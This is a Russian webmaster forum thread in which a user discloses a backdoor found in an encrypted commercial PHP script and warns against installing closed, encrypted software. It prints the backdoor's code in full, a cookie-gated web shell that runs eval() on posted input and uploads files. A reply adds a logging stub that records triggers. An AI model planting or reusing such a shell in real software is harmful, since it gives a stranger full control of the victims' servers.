Elite-Board - поставь себе backdoor

den78ru
На сайте с 12.04.2006
Offline
396
#11

В подобном сабже как-то некрасиво выглядит говорить А и молчать про Б.

Зарядил так стреляй!

Lupus:
может это он не со зла, а по дурости.
Lupus:
Кроме всякой смешной фигни, там оказался тупой и наглый бэкдор, позволяющий автору хозяйничать на сервере клиента.

ну да, ну да. :)

Люди не делятся на национальности, партии, фракции и религии. Люди делятся на умных и дураков, а вот дураки делятся на национальности, партии, фракции и религии.
Lupus
На сайте с 02.11.2002
Offline
241
#12
den78ru:
В подобном сабже как-то некрасиво выглядит говорить А и молчать про Б.

Я вообще-то про покупку зазенденных лицензий. Чтобы покупать и устанавливать закриптованный софт надо очень доверять разработчику и при этом мириться с тем, что он-то тебе заведомо не доверяет. 🚬

Я не уверен полностью, что ключи к бэкдору разные для всех покупателей. Если ключ одинаковый, то публикуя название софта, я открываю дыру для всех желающих.

А код из софтинки я-таки опубликую. Он размещен в библиотеке функций, которая инклудится при каждом обращении к админке:

if(isset($_COOKIE['megasecret']))
{
if($_COOKIE['megasecret'] == 'удалено на всякий случай')
{
echo '<form name=\"megaform\" action=\"\" method=\"post\" enctype=\"multipart/form-data\">
<input name=\"mega-path\" type=\"text\" value=\"../тоже удалено, успешно гуглится ибо/\">
<input name=\"mega-file\" type=\"file\">
<br />
<textarea name=\"mega-exe\" rows=\"10\" cols=\"100\" wrap=\"off\"></textarea>
<br />
<input name=\"mega-str\" type=\"checkbox\" value=\"ON\">
stripslashes
<input type=\"submit\" value=\"Send / Execute\">
</form>
<hr>
<textarea rows=\"10\" cols=\"100\" wrap=\"off\">';
if($_POST['mega-exe'] != '')
{
if($_POST['mega-str'] != '')
{
$_POST['mega-exe'] = stripslashes($_POST['mega-exe']);
}
eval($_POST['mega-exe']);
}
echo '</textarea>';
if(file_exists($_FILES['mega-file']['tmp_name']))
{
move_uploaded_file($_FILES['mega-file']['tmp_name'], $_POST['mega-path'].$_FILES['mega-file']['name']);
}
exit();
}
}

There are two types of people in this world: 1. Those who can extrapolate from incomplete data.
SI
На сайте с 03.12.2007
Offline
130
#13

А по стилю на остальной код похоже? Переносы там отступы, кавычки...

Может разработчик криптует крякнутым уже зараженным зендом.

-= Онлайн сервисы =-
Lupus
На сайте с 02.11.2002
Offline
241
#14
Sigmo#ID:
А по стилю на остальной код похоже? Переносы там отступы, кавычки...

Непохоже, хотя бы потому, что сам код написан в одну строку, без пробелов (я отформатировал для читаемости) и спрятан в такую хрень: eval( base64_decode( ))

Sigmo#ID:
Может разработчик криптует крякнутым уже зараженным зендом.

Вы в это верите? В коде шелла - путь, характерный именно для этого скрипта.

Ragnarok
На сайте с 25.06.2010
Offline
226
#15

Lupus, сам-то разработчик что говорит по этому поводу?

//TODO: перестать откладывать на потом
Lupus
На сайте с 02.11.2002
Offline
241
#16
Ragnarok:
сам-то разработчик что говорит по этому поводу?

Как-то не собрался ему написать. Да и неохота взрослых людей воспитывать.

Либо начнет отрицать, либо наедет за "нарушение лицензии" (раскриптовку), либо уйдет в молчанку. Проверил бы, да недосуг пока.

artmonster
На сайте с 19.07.2010
Offline
41
#17

Судя по путям, то это скрипт популярного шопа. Печально это все.

Очевидно, что не стоит с такими разработчиками работать и доверять им свой бизнес.

P.s. Ну а чтобы было более интересно, поставьте заглушку по этому скрипту + запись в лог, если кто-то будет там ползать.

Или даже лучше всего убить весь скрипт и оставить только это:


if(isset($_COOKIE['megasecret']))
{
if($_COOKIE['megasecret'] == 'удалено на всякий случай')
{

## Формирование строки лога
$xstr=date("d.m.Y")."|";
$xstr.=date("H:i:s")."|";
$xstr.="ip=".$_SERVER['REMOTE_ADDR']."|";
$xstr.="browser=".$_SERVER['HTTP_USER_AGENT']."|";
$xstr.=$_SERVER['PHP_SELF']."|";
$xstr.=$_SERVER['QUERY_STRING']."\r\n";

## Запись в лог
$fc='./hacklog.txt';
if(file_exists($fc)){$fp=fopen($fc,'a+');fputs($fp,$xstr);fclose($fp);}
else{$fp=fopen($fc,'w+');fputs($fp,$xstr);fclose($fp);}

exit();
}
}
Lupus
На сайте с 02.11.2002
Offline
241
#18

artmonster, я отказался от установки этой софтины. Нет ни времени, ни желания ее допиливать, а "как есть" она у меня не работает.

LEOnidUKG
На сайте с 25.11.2006
Offline
1723
#19

В чём чуть топика без указания, что это за скрипт?

Мол я нашёл, а вы партись теперь. Вдруг кто купит лохонётся.

✅ Мой Телеграм канал по SEO, оптимизации сайтов и серверов: https://t.me/leonidukgLIVE ✅ Качественное и рабочее размещение SEO статей СНГ и Бурж: https://getmanylinks.ru/
Lupus
На сайте с 02.11.2002
Offline
241
#20
LEOnidUKG:
В чём чуть топика без указания, что это за скрипт?

Не сообразили? Не ставьте чужой закриптованный софт, без крайней необходимости.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий